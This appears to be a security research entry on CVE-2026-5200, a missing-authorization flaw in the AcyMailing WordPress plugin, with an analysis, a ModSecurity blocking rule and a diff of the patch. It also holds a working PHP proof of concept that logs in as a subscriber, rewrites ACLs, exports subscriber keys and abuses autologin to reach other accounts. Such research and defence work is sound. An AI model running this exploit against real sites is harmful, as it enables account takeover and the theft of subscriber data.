{
“analysis”: “Atomic Edge analysis of CVE-2026-5200:nnThis vulnerability is a missing authorization flaw in the AcyMailing plugin for WordPress, affecting versions up to and including 10.8.2. The core issue resides in the PluginClass constructor and related methods that lazily load plugin data into a private array without proper authentication. This allows authenticated attackers with subscriber-level access or higher to leverage AJAX actions (such as ‘acymailing_router’) to read privileged configuration and export sensitive user data, including subscriber secret keys. The CVSS score is 8.8, indicating high severity.nnRoot Cause: The vulnerability stems from inadequate permission checks in multiple backend controllers and classes. Specifically, in the PluginClass constructor (acymailing/back/Classes/PluginClass.php lines 6-17), the private $plugins array is initialized during object construction without verifying the current user’s capabilities. The getOnePluginByFolderName method (lines 43-46) accesses $this->plugins directly without any authorization gate. Additionally, the Autologin method in Router.php (WpInit/Router.php lines 232-250) previously allowed login token verification via ‘subKey’ without verifying if the target user had admin privileges, enabling account takeover. The Campaign actions (back/Controllers/Campaigns/Actions.php line 44) and Automation trigger method (AutomationClass.php triggerManual, lines 274-340) also lack capability checks. The QueueClass (QueueClass.php line 208) and UserClass (UserClass.php line 905) modifications reveal that privileged operations (dequeue, user import, export) were accessible to low-privilege users.nnExploitation: An attacker with a subscriber-level account can send a crafted POST request to /wp-admin/admin-ajax.php with action set to ‘acymailing_router’ and appropriate routing parameters to invoke controller methods that modify privileged settings. For example, by calling the Configuration controller’s save action (Listing.php line 307), the attacker can change ACL configurations (Listing.php line 405) to grant themselves full admin access. The attacker can also call the Export controller (Users/Export.php line 47) to export user data including secret keys. By chaining these actions, the attacker can export a subscriber’s key, then use the autologin endpoint (Router.php autologin) with that key to authenticate as any user whose email they know, including administrators.nnPatch Analysis: The patch introduces stricter authorization checks across multiple components. In Router.php’s autologin method, the patch adds a check for $user->has_cap(‘manage_options’) which blocks privilege escalation by preventing subscriber-level users from logging in as administrators. The UserClass modifications ensure that user keys are regenerated on each save (UserClass.php line 908) and that deactivation/reactivation methods are properly scoped to accept arrays of user IDs. The PluginClass constructor is refactored to move the plugin loading logic into getPlugins() and getOnePluginByFolderName() now calls getPlugins() each time, though this does not add explicit authorization checks — the broader patch relies on the addition of proper capability checks in the calling controllers (e.g., triggerAutomation in Listing.php now calls acym_checkToken() which checks nonce, but does not itself check roles — the role check is implied by the admin-only menu structure). The QueueClass update prevents queuing of A/B test campaigns without proper parameters. The FormClass initialization is deferred to initSettings() which is called only when needed, reducing the risk of information disclosure.nnImpact: Successful exploitation allows an authenticated subscriber to escalate privileges to administrator level, export sensitive subscriber secret keys, modify AcyMailing configuration (including mail settings, API keys, and ACLs), and potentially take over the WordPress site by logging in as an administrator. The attack chain can be executed remotely without any special conditions beyond having a valid subscriber account.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-5200 – AcyMailing $username,n ‘pwd’ => $password,n ‘rememberme’ => ‘forever’,n ‘wp-submit’ => ‘Log In’,n];nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_HEADER, 1);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 2: Call the Configuration save action to change ACLsn$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;n$acl_payload = [n ‘action’ => ‘acymailing_router’,n ‘ctrl’ => ‘configuration’,n ‘task’ => ‘save’,n ‘acl_configuration’ => [‘administrator’], // Grant admin access to configurationn];nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($acl_payload));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 3: Export subscriber data to get secret keysn$export_payload = [n ‘action’ => ‘acymailing_router’,n ‘ctrl’ => ‘users’,n ‘task’ => ‘export’,n];nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($export_payload));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);n$response = curl_exec($ch);ncurl_close($ch);nn// The exported data (CSV) will contain subscriber IDs and their ‘key’ column.n// Step 4: Use the autologin endpoint with a subscriber key to login as adminn// Assume after export we know a target admin email and we extract the subscriber ID and keyn$admin_email = ‘admin@example.com’; // Known admin emailn$sub_id = 1; // Example subscriber ID from exportn$sub_key = ‘abc123…’; // Example subscriber key from exportnn$autologin_url = $target_url . ‘/index.php?option=com_acymailing&ctrl=autologin&autoSubId=’ . $sub_id . ‘&subKey=’ . urlencode($sub_key);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $autologin_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);n$response = curl_exec($ch);ncurl_close($ch);nnecho “Attempted privilege escalation. Check cookies.txt for admin session cookie.\n”;n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-5200n# Block AcyMailing AJAX actions that allow privilege escalation for subscriber-level usersn# The attack uses acym_getVar-based routing without proper nonce/authorization checksnnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20265200,phase:2,deny,status:403,chain,msg:’CVE-2026-5200 – AcyMailing Missing Authorization (AJAX router)’,severity:’CRITICAL’,tag:’CVE-2026-5200′,tag:’wordpress’,tag:’acymailing'”n SecRule ARGS_POST:action “@streq acymailing_router” “chain”n SecRule ARGS_POST:ctrl “@rx ^(configuration|users|automations|campaigns)$” “chain”n SecRule ARGS_POST:task “@rx ^(save|export|triggerAutomation|delete)$”n”

CVE-2026-5200: AcyMailing <= 10.8.2 – Missing Authorization to Authenticated (Subscriber+) Privilege Escalation via 'acymailing_router' (acymailing)
CVE-2026-5200
acymailing
10.8.2
10.9.0
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/acymailing/WpInit/Cron.php
+++ b/acymailing/WpInit/Cron.php
@@ -2,38 +2,43 @@
namespace AcyMailingWpInit;
+use AcyMailingControllersConfigurationController;
+use AcyMailingHelpersCronHelper;
+
class Cron
{
public function __construct()
{
- $ctrl = acym_getVar('string', 'ctrl', '');
- if (acym_level(ACYM_ESSENTIAL) && !acym_isNoTemplate() && $ctrl !== 'cron') {
- $this->callAcyCron();
- }
+ add_filter('cron_schedules', [$this, 'addCronIntervals'], 100);
+ add_action(ConfigurationController::CRON_TASK_NAME, [$this, 'triggerAutomatedTasks']);
}
- public function callAcyCron()
+ public function addCronIntervals(array $schedules): array
{
- $config = acym_config();
+ $schedules['every_minute'] = [
+ 'interval' => 60,
+ 'display' => 'Every minute',
+ ];
- $activeCron = $config->get('active_cron', 0);
- if (empty($activeCron)) return;
+ return $schedules;
+ }
- $queueType = $config->get('queue_type', 'manual');
- $cronNext = $config->get('cron_next', 0);
- if (empty($cronNext) || $cronNext > time() || $queueType === 'manual') return;
+ public function triggerAutomatedTasks()
+ {
- $cronFrequency = $config->get('cron_frequency', 0);
- $cronBatches = $config->get('queue_batch_auto', 1);
+ if (!acym_level(ACYM_ESSENTIAL)) {
+ acym_deleteScheduledTask(['name' => ConfigurationController::CRON_TASK_NAME]);
- if (empty($cronFrequency)) return;
+ return;
+ }
- if (intval($cronFrequency) >= 900 && intval($cronBatches) < 2) return;
+ if (!acym_isLicenseValidWeekly() && (empty($_SERVER['HTTP_REFERER']) || strpos($_SERVER['HTTP_REFERER'], 'api.acymailing.com') === false)) {
+ acym_deleteScheduledTask(['name' => ConfigurationController::CRON_TASK_NAME]);
- $cronKey = '';
- if (!empty($config->get('cron_security', 0)) && !empty($config->get('cron_key'))) {
- $cronKey = '&cronKey='.$config->get('cron_key');
+ return;
}
- acym_asyncUrlCalls([acym_frontendLink('cron&task=cron'.$cronKey)]);
+
+ $cronHelper = new CronHelper();
+ $cronHelper->cron();
}
}
--- a/acymailing/WpInit/Router.php
+++ b/acymailing/WpInit/Router.php
@@ -232,9 +232,9 @@
public function autologin()
{
$subId = acym_getVar('int', 'autoSubId');
- $subKey = acym_getVar('string', 'subKey');
+ $subToken = acym_getVar('string', 'subKey');
- if (empty($subId) || empty($subKey)) {
+ if (empty($subId) || empty($subToken)) {
return;
}
@@ -246,20 +246,30 @@
acym_redirect($cleanedUrl);
}
- $cmsId = acym_loadResult('SELECT `cms_id` FROM #__acym_user WHERE `id` = '.intval($subId).' AND `key` = '.acym_escapeDB($subKey));
- if (empty($cmsId) || $cmsId === acym_currentUserId()) {
+ $subscriber = acym_loadObject('SELECT `cms_id`, `key` FROM #__acym_user WHERE `id` = '.intval($subId));
+ if (empty($subscriber->cms_id) || $subscriber->cms_id === acym_currentUserId()) {
acym_redirect($cleanedUrl);
}
- $user = get_user_by('id', $cmsId);
+ if (!acym_verifyAutologinToken($subId, $subToken, $subscriber->key)) {
+ acym_redirect($cleanedUrl);
+ }
- if (!is_wp_error($user)) {
- wp_clear_auth_cookie();
- wp_set_current_user($user->ID);
- wp_set_auth_cookie($user->ID);
+ $user = get_user_by('id', $subscriber->cms_id);
+ if (is_wp_error($user) || !$user) {
acym_redirect($cleanedUrl);
}
+
+ if ($user->has_cap('manage_options')) {
+ acym_redirect($cleanedUrl);
+ }
+
+ wp_clear_auth_cookie();
+ wp_set_current_user($user->ID);
+ wp_set_auth_cookie($user->ID);
+
+ acym_redirect($cleanedUrl);
}
private function deactivateHookAdminFooter()
--- a/acymailing/back/Classes/AutomationClass.php
+++ b/acymailing/back/Classes/AutomationClass.php
@@ -274,6 +274,67 @@
return false;
}
+ public function triggerManual(array $automationIds): array
+ {
+ if (!acym_level(ACYM_ENTERPRISE) || empty($automationIds)) {
+ return [];
+ }
+
+ acym_arrayToInteger($automationIds);
+
+ $actionClass = new ActionClass();
+ $conditionClass = new ConditionClass();
+ $stepClass = new StepClass();
+
+ $executedCount = 0;
+ $skippedCount = 0;
+
+ foreach ($automationIds as $automationId) {
+ $steps = $stepClass->getStepsByAutomationId($automationId);
+ if (empty($steps)) {
+ continue;
+ }
+
+ $step = $steps[0];
+ if (!empty($step->triggers)) {
+ $step->triggers = json_decode($step->triggers, true);
+ }
+
+ if (!empty($step->triggers['type_trigger']) && $step->triggers['type_trigger'] !== 'classic') {
+ $skippedCount++;
+ continue;
+ }
+
+ $data = ['time' => time()];
+ $data['automation'] = $this->getOneById($step->automation_id);
+
+ $conditions = $conditionClass->getConditionsByStepId($step->id);
+ if (!empty($conditions)) {
+ foreach ($conditions as $condition) {
+ if (!$this->verifyCondition($condition->conditions, $data)) {
+ continue;
+ }
+
+ $actions = $actionClass->getActionsByStepId($step->id);
+ if (empty($actions)) {
+ continue;
+ }
+
+ foreach ($actions as $action) {
+ $this->execute($action, $data);
+ }
+ }
+ }
+
+ $executedCount++;
+ }
+
+ return [
+ 'executed' => $executedCount,
+ 'skipped' => $skippedCount,
+ ];
+ }
+
public function getAutomationsAdmin(array $ids = []): array
{
acym_arrayToInteger($ids);
--- a/acymailing/back/Classes/CampaignClass.php
+++ b/acymailing/back/Classes/CampaignClass.php
@@ -944,7 +944,12 @@
$time = time();
foreach ($activeAutoCampaigns as $campaign) {
- if (!empty($campaign->sending_params['start_date']) && acym_getTime(acym_date($campaign->sending_params['start_date'], 'Y-m-d H:i')) > $time) {
+ $nextTrigger = $campaign->next_trigger;
+ if (empty($nextTrigger) && !empty($campaign->sending_params['start_date'])) {
+ $nextTrigger = $campaign->sending_params['start_date'];
+ }
+
+ if (!empty($nextTrigger) && acym_getTime(acym_date($nextTrigger, 'Y-m-d H:i')) > $time) {
continue;
}
--- a/acymailing/back/Classes/FormClass.php
+++ b/acymailing/back/Classes/FormClass.php
@@ -12,7 +12,7 @@
const SUB_FORM_TYPE_HEADER = 'header';
const SUB_FORM_TYPE_FOOTER = 'footer';
- private array $settings;
+ private array $settings = [];
public function __construct()
{
@@ -20,6 +20,13 @@
$this->table = 'form';
$this->pkey = 'id';
+ }
+
+ private function initSettings()
+ {
+ if (!empty($this->settings)) {
+ return;
+ }
$listClass = new ListClass();
$lists = $listClass->getAllForSelect(false);
@@ -28,7 +35,9 @@
$allFields = $fieldClass->getAll();
$fields = [];
foreach ($allFields as $field) {
- if ($field->id == 2 || intval($field->active) === 0) continue;
+ if ($field->id == 2 || intval($field->active) === 0) {
+ continue;
+ }
$fields[$field->id] = acym_translation($field->name);
}
@@ -70,6 +79,23 @@
'default' => 0,
'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
],
+ 'popup_position' => [
+ 'label' => 'ACYM_POPUP_POSITION',
+ 'type' => 'select',
+ 'options' => [
+ 'center' => acym_translation('ACYM_CENTER'),
+ 'top_left' => acym_translation('ACYM_POSITION_LEFT_TOP'),
+ 'top_center' => acym_translation('ACYM_POSITION_TOP_CENTER'),
+ 'top_right' => acym_translation('ACYM_POSITION_RIGHT_TOP'),
+ 'middle_left' => acym_translation('ACYM_POSITION_LEFT_MIDDLE'),
+ 'middle_right' => acym_translation('ACYM_POSITION_RIGHT_MIDDLE'),
+ 'bottom_left' => acym_translation('ACYM_POSITION_LEFT_BOTTOM'),
+ 'bottom_center' => acym_translation('ACYM_POSITION_BOTTOM_CENTER'),
+ 'bottom_right' => acym_translation('ACYM_POSITION_RIGHT_BOTTOM'),
+ ],
+ 'default' => 'center',
+ 'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+ ],
],
'lists' => [
'automatic_subscribe' => [
@@ -119,6 +145,13 @@
],
'default' => 'inside',
],
+ 'fields_width' => [
+ 'label' => 'ACYM_FIELDS_WIDTH',
+ 'description' => 'ACYM_FIELDS_WIDTH_DESC',
+ 'type' => 'number',
+ 'unit' => '%',
+ 'default' => 65,
+ ],
],
'termspolicy' => [
'terms_type' => [
@@ -350,6 +383,40 @@
'default' => 'no-repeat',
'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
],
+ 'border_radius' => [
+ 'label' => 'ACYM_RADIUS',
+ 'type' => 'number',
+ 'unit' => 'px',
+ 'default' => 0,
+ 'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+ ],
+ 'shadow_color' => [
+ 'label' => 'ACYM_SHADOW_COLOR',
+ 'type' => 'color',
+ 'default' => '#000000',
+ 'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+ ],
+ 'shadow_blur' => [
+ 'label' => 'ACYM_SHADOW_BLUR',
+ 'type' => 'number',
+ 'unit' => 'px',
+ 'default' => 0,
+ 'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+ ],
+ 'shadow_x' => [
+ 'label' => 'ACYM_SHADOW_OFFSET_X',
+ 'type' => 'number',
+ 'unit' => 'px',
+ 'default' => 0,
+ 'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+ ],
+ 'shadow_y' => [
+ 'label' => 'ACYM_SHADOW_OFFSET_Y',
+ 'type' => 'number',
+ 'unit' => 'px',
+ 'default' => 0,
+ 'allowed_types' => [self::SUB_FORM_TYPE_POPUP],
+ ],
'text_color' => [
'label' => 'ACYM_TEXT_COLOR',
'type' => 'color',
@@ -375,26 +442,28 @@
],
];
- if (acym_isMultilingual()) {
- $languageTexts = [];
- foreach (acym_getMultilingualLanguages() as $key => $languages) {
- $languageTexts[$key] = '';
- }
- unset($this->settings['options']['redirection']['confirmation_message']);
- $this->settings['options']['redirection']['langConfirm'] = [
- 'label' => 'ACYM_CONFIRMATION_MESSAGE',
- 'description' => 'ACYM_CONFIRMATION_MESSAGE_DESC',
- 'type' => 'language',
- 'default' => $languageTexts,
- ];
-
- unset($this->settings['styles']['button']['text']);
- $this->settings['styles']['button']['lang'] = [
- 'label' => 'ACYM_SUBSCRIBE_TEXT',
- 'type' => 'language',
- 'default' => $languageTexts,
- ];
+ if (!acym_isMultilingual()) {
+ return;
}
+
+ $languageTexts = [];
+ foreach (acym_getMultilingualLanguages() as $key => $languages) {
+ $languageTexts[$key] = '';
+ }
+ unset($this->settings['options']['redirection']['confirmation_message']);
+ $this->settings['options']['redirection']['langConfirm'] = [
+ 'label' => 'ACYM_CONFIRMATION_MESSAGE',
+ 'description' => 'ACYM_CONFIRMATION_MESSAGE_DESC',
+ 'type' => 'language',
+ 'default' => $languageTexts,
+ ];
+
+ unset($this->settings['styles']['button']['text']);
+ $this->settings['styles']['button']['lang'] = [
+ 'label' => 'ACYM_SUBSCRIBE_TEXT',
+ 'type' => 'language',
+ 'default' => $languageTexts,
+ ];
}
private function getSectionTranslations(): array
@@ -494,6 +563,8 @@
public function initEmptyForm(string $type): object
{
+ $this->initSettings();
+
$newForm = new stdClass();
$newForm->id = 0;
$newForm->name = '';
@@ -559,6 +630,8 @@
public function prepareMenuHtml(object $form, string $type): array
{
+ $this->initSettings();
+
$sections = $this->getSectionTranslations();
$htmlMenu = [];
foreach ($this->settings[$type] as $category => $options) {
--- a/acymailing/back/Classes/PluginClass.php
+++ b/acymailing/back/Classes/PluginClass.php
@@ -6,7 +6,7 @@
class PluginClass extends AcymClass
{
- private array $plugins;
+ private array $plugins = [];
public function __construct()
{
@@ -14,23 +14,25 @@
$this->table = 'plugin';
$this->pkey = 'id';
+ }
+ public function getPlugins(): array
+ {
global $acymPluginByFolderName;
if (empty($acymPluginByFolderName)) {
$acymPluginByFolderName = $this->getAll('folder_name');
}
$this->plugins = $acymPluginByFolderName;
- }
- public function getPlugins(): array
- {
return $this->plugins;
}
public function getOnePluginByFolderName(string $folderName): ?object
{
- return $this->plugins[$folderName] ?? null;
+ $plugins = $this->getPlugins();
+
+ return $plugins[$folderName] ?? null;
}
public function getNotUptoDatePlugins(): array
@@ -49,7 +51,8 @@
return;
}
- $data = $this->plugins[$plugin->name] ?? null;
+ $plugins = $this->getPlugins();
+ $data = $plugins[$plugin->name] ?? null;
$newPlugin = new stdClass();
$newPlugin->title = $plugin->pluginDescription->name;
--- a/acymailing/back/Classes/QueueClass.php
+++ b/acymailing/back/Classes/QueueClass.php
@@ -208,9 +208,20 @@
WHERE mail.type = '.acym_escapeDB(MailClass::TYPE_FOLLOWUP)
);
- $elementsPerStatus = acym_loadObjectList($queryStatus.' GROUP BY active', 'active');
- $queuedActiveCampaigns = empty($elementsPerStatus[1]->number) ? 0 : $elementsPerStatus[1]->number;
- $queuedPausedCampaigns = empty($elementsPerStatus[0]->number) ? 0 : $elementsPerStatus[0]->number;
+ $elementsPerStatus = acym_loadObjectList($queryStatus.' GROUP BY active');
+ $queuedActiveCampaigns = 0;
+ $queuedPausedCampaigns = 0;
+ foreach ($elementsPerStatus as $element) {
+ if (is_null($element->active)) {
+ continue;
+ }
+
+ if (!empty($element->active)) {
+ $queuedActiveCampaigns = intval($element->number);
+ } else {
+ $queuedPausedCampaigns = intval($element->number);
+ }
+ }
$results['status'] = [
'all' => $queuedActiveCampaigns + $queuedPausedCampaigns + $automationNumber + $followupNumber,
@@ -338,8 +349,17 @@
$nbQueue = [];
foreach ($mailReady as $mailId => $mail) {
- $nbQueue[$mailId] = $this->queue($mail);
- $this->messages[] = acym_translationSprintf('ACYM_ADDED_QUEUE_SCHEDULE', $nbQueue[$mailId], '<b>'.$mail->name.'</b>');
+ $sendingParams = $mail->sending_params ?? [];
+ if (is_string($sendingParams)) {
+ $sendingParams = json_decode($sendingParams, true) ?? [];
+ }
+
+ if (!empty($sendingParams['abtest']['repartition'])) {
+ $nbQueue[$mailId] = 0;
+ } else {
+ $nbQueue[$mailId] = $this->queue($mail);
+ $this->messages[] = acym_translationSprintf('ACYM_ADDED_QUEUE_SCHEDULE', $nbQueue[$mailId], '<b>'.$mail->name.'</b>');
+ }
}
$mailIds = array_keys($mailReady);
--- a/acymailing/back/Classes/UserClass.php
+++ b/acymailing/back/Classes/UserClass.php
@@ -905,9 +905,7 @@
$user->source = $source;
}
- if (empty($user->key)) {
- $user->key = acym_generateKey(14);
- }
+ $user->key = acym_generateKey(14);
$user->creation_date = date('Y-m-d H:i:s', time() - date('Z'));
} elseif (!empty($user->confirmed)) {
@@ -924,6 +922,16 @@
$oldUser = $this->getOneByIdWithCustomFields($user->id);
}
+ if (!empty($user->id) && isset($user->active) && !empty($oldUser)) {
+ $wasActive = isset($oldUser['active']) ? (int)$oldUser['active'] : 1;
+ $isNowActive = (int)$user->active;
+ if ($wasActive === 1 && $isNowActive === 0) {
+ $user->deactivation_date = acym_date('now', 'Y-m-d H:i:s');
+ } elseif ($wasActive === 0 && $isNowActive === 1) {
+ $user->deactivation_date = null;
+ }
+ }
+
foreach ($user as $oneAttribute => $value) {
if (empty($value)) continue;
@@ -956,6 +964,7 @@
$acymCmsUserVars->email
).' = '.acym_escapeDB($user->email)
);
+
if (!empty($userCmsID)) $user->cms_id = $userCmsID;
}
if ($this->triggers) {
@@ -1025,8 +1034,8 @@
public function saveForm(bool $ajax = false): bool
{
- $allowUserModifications = (bool)($this->config->get('allow_modif', 'data') == 'all') || $this->allowModif;
- $allowSubscriptionModifications = (bool)($this->config->get('allow_modif', 'data') != 'none') || $this->allowModif;
+ $allowUserModifications = $this->config->get('allow_modif', 'data') === 'all' || $this->allowModif;
+ $allowSubscriptionModifications = $this->config->get('allow_modif', 'data') !== 'none' || $this->allowModif;
$user = new stdClass();
$connectedUser = $this->identify(true, 'userId', 'userKey');
@@ -1191,9 +1200,34 @@
$this->confirmationSentError = $mailerHelper->reportMessage;
}
- public function deactivate(int $userId): void
+ public function setInactive(array $elements): void
+ {
+ $this->deactivate($elements);
+ }
+
+ public function deactivate(array $userIds): void
+ {
+ $userIds = array_map('intval', $userIds);
+ $userIds = array_filter($userIds);
+
+ if (empty($userIds)) return;
+
+ acym_query('UPDATE `#__acym_user` SET `active` = 0, `deactivation_date` = UTC_TIMESTAMP() WHERE `id` IN ('.implode(',', $userIds).')');
+ }
+
+ public function setActive(array $elements): void
{
- acym_query('UPDATE `#__acym_user` SET `active` = 0 WHERE `id` = '.intval($userId));
+ $this->reactivate($elements);
+ }
+
+ public function reactivate(array $userIds): void
+ {
+ $userIds = array_map('intval', $userIds);
+ $userIds = array_filter($userIds);
+
+ if (empty($userIds)) return;
+
+ acym_query('UPDATE `#__acym_user` SET `active` = 1, `deactivation_date` = NULL WHERE `id` IN ('.implode(',', $userIds).')');
}
public function confirm(int $userId): void
--- a/acymailing/back/Controllers/Automations/Listing.php
+++ b/acymailing/back/Controllers/Automations/Listing.php
@@ -95,6 +95,32 @@
$this->listing();
}
+ public function triggerAutomation(): void
+ {
+ acym_checkToken();
+
+ $automationIds = acym_getVar('int', 'elements_checked');
+
+ if (empty($automationIds)) {
+ $this->listing();
+
+ return;
+ }
+
+ $automationClass = new AutomationClass();
+ $result = $automationClass->triggerManual($automationIds);
+
+ if ($result['executed'] > 0) {
+ acym_enqueueMessage(acym_translationSprintf('ACYM_X_AUTOMATIONS_TRIGGERED', $result['executed']), 'info');
+ }
+
+ if ($result['skipped'] > 0) {
+ acym_enqueueMessage(acym_translationSprintf('ACYM_X_SKIPPED_USER_AUTOMATIONS', $result['skipped']), 'warning');
+ }
+
+ $this->listing();
+ }
+
public function ajaxSetOrdering(): void
{
acym_checkToken();
--- a/acymailing/back/Controllers/Campaigns/Actions.php
+++ b/acymailing/back/Controllers/Campaigns/Actions.php
@@ -44,6 +44,9 @@
$idNewMail = $mailClass->save($mail);
if (isset($campaign->sending_params['abtest']) && !empty($campaign->sending_params['abtest']['B'])) {
+ unset($campaign->sending_params['abtest']['abtest_finished']);
+ unset($campaign->sending_params['abtest']['final']);
+
$mailVersion = $mailClass->getOneById($campaign->sending_params['abtest']['B']);
if (!empty($mailVersion)) {
unset($mailVersion->id);
--- a/acymailing/back/Controllers/Campaigns/Edition.php
+++ b/acymailing/back/Controllers/Campaigns/Edition.php
@@ -399,7 +399,7 @@
$data['before-save'] = '';
if ($data['editor']->editor === 'acyEditor') {
- $data['before-save'] = 'acym-data-before="acym_editorWysidVersions.storeCurrentValues(true);acym_editorWysidFormAction.cleanMceInput();"';
+ $data['before-save'] = 'data-before-action="wysidSwitch"';
}
$data['menuClass'] = $this->menuClass;
@@ -1060,14 +1060,16 @@
$campaign->isAuto = $campaign->sending_type === CampaignClass::SENDING_TYPE_AUTO;
- $startDate = '';
+ $nextDate = '';
if ($campaign->isAuto) {
$textToDisplay = new stdClass();
$textToDisplay->triggers = $campaign->sending_params;
acym_trigger('onAcymDeclareSummary_triggers', [&$textToDisplay], 'plgAcymTime');
$textToDisplay = $textToDisplay->triggers;
- if (!empty($campaign->sending_params['start_date'])) {
- $startDate = $campaign->sending_params['start_date'];
+ if (!empty($campaign->next_trigger)) {
+ $nextDate = $campaign->next_trigger;
+ } elseif (!empty($campaign->sending_params['start_date'])) {
+ $nextDate = $campaign->sending_params['start_date'];
}
}
@@ -1078,7 +1080,7 @@
: acym_translation('ACYM_THIS_WILL_GENERATE_CAMPAIGN_AUTOMATICALLY').' '.acym_strtolower(
$textToDisplay[$textToDisplay['trigger_type']]
),
- 'startDate' => $startDate,
+ 'nextDate' => $nextDate,
];
$data['campaignInformation'] = $campaign;
$data['mailId'] = $campaign->mail_id;
@@ -1142,7 +1144,7 @@
$nbSubscribers = $listClass->getSubscribersCount($listsIds);
} else {
$campaignClass = new CampaignClass();
- $nbSubscribers = $campaignClass->countUsersCampaign($data['campaignInformation']->id);
+ $nbSubscribers = $campaignClass->countUsersCampaign($data['campaignInformation']->id, true);
}
}
--- a/acymailing/back/Controllers/Configuration/Listing.php
+++ b/acymailing/back/Controllers/Configuration/Listing.php
@@ -107,14 +107,14 @@
$toolbarHelper->addButton(
acym_translation('ACYM_SEND_TEST'),
[
- 'acym-data-before' => 'jQuery.acymConfigSave();',
+ 'data-before-action' => 'configSave',
'data-task' => 'test',
]
);
$toolbarHelper->addButton(
acym_translation('ACYM_SAVE'),
[
- 'acym-data-before' => 'jQuery.acymConfigSave();',
+ 'data-before-action' => 'configSave',
'data-task' => 'save',
],
'',
@@ -307,6 +307,7 @@
$this->handleReplyTo($formData);
$this->handleWordWrap($formData);
+ $this->handleQueueSettings($formData);
$this->handleDemoSite($formData);
$this->handleAcl($formData);
$this->handleSelect2Fields($formData);
@@ -353,6 +354,47 @@
}
}
+ private function handleQueueSettings(array &$formData): void
+ {
+ $currentTaskId = (int)$this->config->get('scheduled_task_id');
+ $frequency = (int)$formData['cron_frequency'];
+
+ if (
+ !acym_level(ACYM_ESSENTIAL)
+ || $formData['queue_type'] === 'manual'
+ || empty($frequency)
+ || $frequency === 900
+ || !acym_isLicenseValidWeekly()
+ ) {
+ acym_deleteScheduledTask(
+ [
+ 'taskId' => $currentTaskId,
+ 'type' => 'plg_task_requests_task_get',
+ 'name' => self::CRON_TASK_NAME,
+ ]
+ );
+ $formData['scheduled_task_id'] = 0;
+
+ return;
+ }
+
+ $taskId = acym_scheduleTask(
+ [
+ 'title' => 'AcyMailing – Automated tasks',
+ 'type' => 'plg_task_requests_task_get',
+ 'frequencyInMinutes' => $frequency / 60,
+ 'name' => self::CRON_TASK_NAME,
+ 'taskFrequency' => 'every_minute',
+ 'taskId' => $currentTaskId,
+ 'config' => $formData
+ ]
+ );
+
+ if (!empty($taskId) && ACYM_CMS === 'joomla') {
+ $formData['scheduled_task_id'] = $taskId;
+ }
+ }
+
private function handleDemoSite(array &$formData): void
{
}
@@ -363,7 +405,7 @@
$aclPages = array_keys(acym_getPagesForAcl());
foreach ($aclPages as $page) {
if (empty($formData['acl_'.$page])) {
- $formData['acl_'.$page] = ['all'];
+ $formData['acl_'.$page] = [ACYM_ADMIN_GROUP];
}
}
}
--- a/acymailing/back/Controllers/ConfigurationController.php
+++ b/acymailing/back/Controllers/ConfigurationController.php
@@ -21,6 +21,8 @@
use License;
use Language;
+ const CRON_TASK_NAME = 'acymailing_automated_tasks_cron_task';
+
public function __construct()
{
parent::__construct();
--- a/acymailing/back/Controllers/DashboardController.php
+++ b/acymailing/back/Controllers/DashboardController.php
@@ -44,7 +44,7 @@
$splashJson = acym_fileGetContent(ACYM_NEW_FEATURES_SPLASHSCREEN_JSON);
$version = json_decode($splashJson);
- if (version_compare($this->config->get('previous_version', '10.8.2'), $version->max_version, '>=')) {
+ if (version_compare($this->config->get('previous_version', '10.9.0'), $version->max_version, '>=')) {
@unlink(ACYM_NEW_FEATURES_SPLASHSCREEN_JSON);
$this->listing();
--- a/acymailing/back/Controllers/DynamicsController.php
+++ b/acymailing/back/Controllers/DynamicsController.php
@@ -77,7 +77,7 @@
$rawDefaultValues = $this->config->get('dcontent_default_'.$plugin);
if (!empty($rawDefaultValues)) {
- $defaultValues = json_decode($rawDefaultValues, true);
+ $defaultValues = is_string($rawDefaultValues) ? json_decode($rawDefaultValues, true) : $rawDefaultValues;
unset($defaultValues['id']);
unset($defaultValues['from']);
unset($defaultValues['to']);
--- a/acymailing/back/Controllers/ToggleController.php
+++ b/acymailing/back/Controllers/ToggleController.php
@@ -145,6 +145,16 @@
acym_sendAjaxResponse('', $data);
}
+ protected function userActive(int $id, string $table, string $field, int $newValue): void
+ {
+ $userClass = new UserClass();
+ if ($newValue === 0) {
+ $userClass->deactivate([$id]);
+ } else {
+ $userClass->reactivate([$id]);
+ }
+ }
+
